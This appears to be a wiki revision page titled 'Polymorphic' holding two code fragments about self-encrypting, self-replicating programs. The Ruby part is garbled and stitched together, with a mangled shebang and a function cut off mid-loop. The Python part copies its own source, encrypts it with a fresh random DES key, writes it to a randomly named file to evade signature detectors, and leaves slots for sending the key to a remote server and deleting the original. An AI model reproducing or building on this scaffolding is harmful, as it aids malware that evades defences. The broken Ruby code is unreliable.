Difference between revisions of "Polymorphic"

<syntaxhighlight lang="ruby">

1. !/usr/bin/env ruby1.9.1

if (!defined?(FILE)) FILE=File.basename(__FILE__) end load "md.rb";

1. require "FileUtils"

def selfCopy(key) code = "" newkey = deterministicKeygen(key); File.open(FILE, "r").each_line do

<syntaxhighlight lang="ruby"> require 'base64'; if (!defined?(MD_LOADED)) def deterministicKeygen(theKey)

       r = Random.new(theKey.to_i);
       return r.rand(3)+3;

end def mencrypt(str, theKey)

       k = deterministicKeygen(theKey)
       k.times do
               str = Base64.encode64(str)
       end
       return str

end def mdecrypt(str, theKey)

       k = deterministicKeygen(theKey)
       k.times do
               str = Base64.decode64(str)
       end
       return str

end

MD_LOADED=true end

</syntaxhighlight>

 
#a simple example of a program that replicates and encrypts itself, thus adding a layer of obfuscation / evasion from string matched detectors
#When executed, it executes some code then it generates a new encryption key, encrypts itself and writes it to a new file
#with a randomly generated name [then sends the filename and encryption key to a remote server]
 
import random
import string
import pyDes
import time
import binascii
 
#code to execute before self propagation goes here
 
N = 8 #8 digit key
key = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(N)) #keygen random
obj = pyDes.des(key, pad=b'\0') #generate an object encrypted with key
fd = open('poly.py', 'r') #open this file for reading
payload = fd.read() #load the entire contents into a variable
encrypted = obj.encrypt(payload, pad=b'\0') #encrypt the  payload file
N = 10 # 10 digit file name
filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(N)) #filename random
new_fd = open(filename, 'w') #create a new file with the filename we just generated. edit this to change directory
encrypted = binascii.b2a_hex(encrypted)
new_fd.write(str(encrypted)) #write the encrypted program to our new file
 
#put code to securely transmit your filename + key here! you can also put here code to delete the original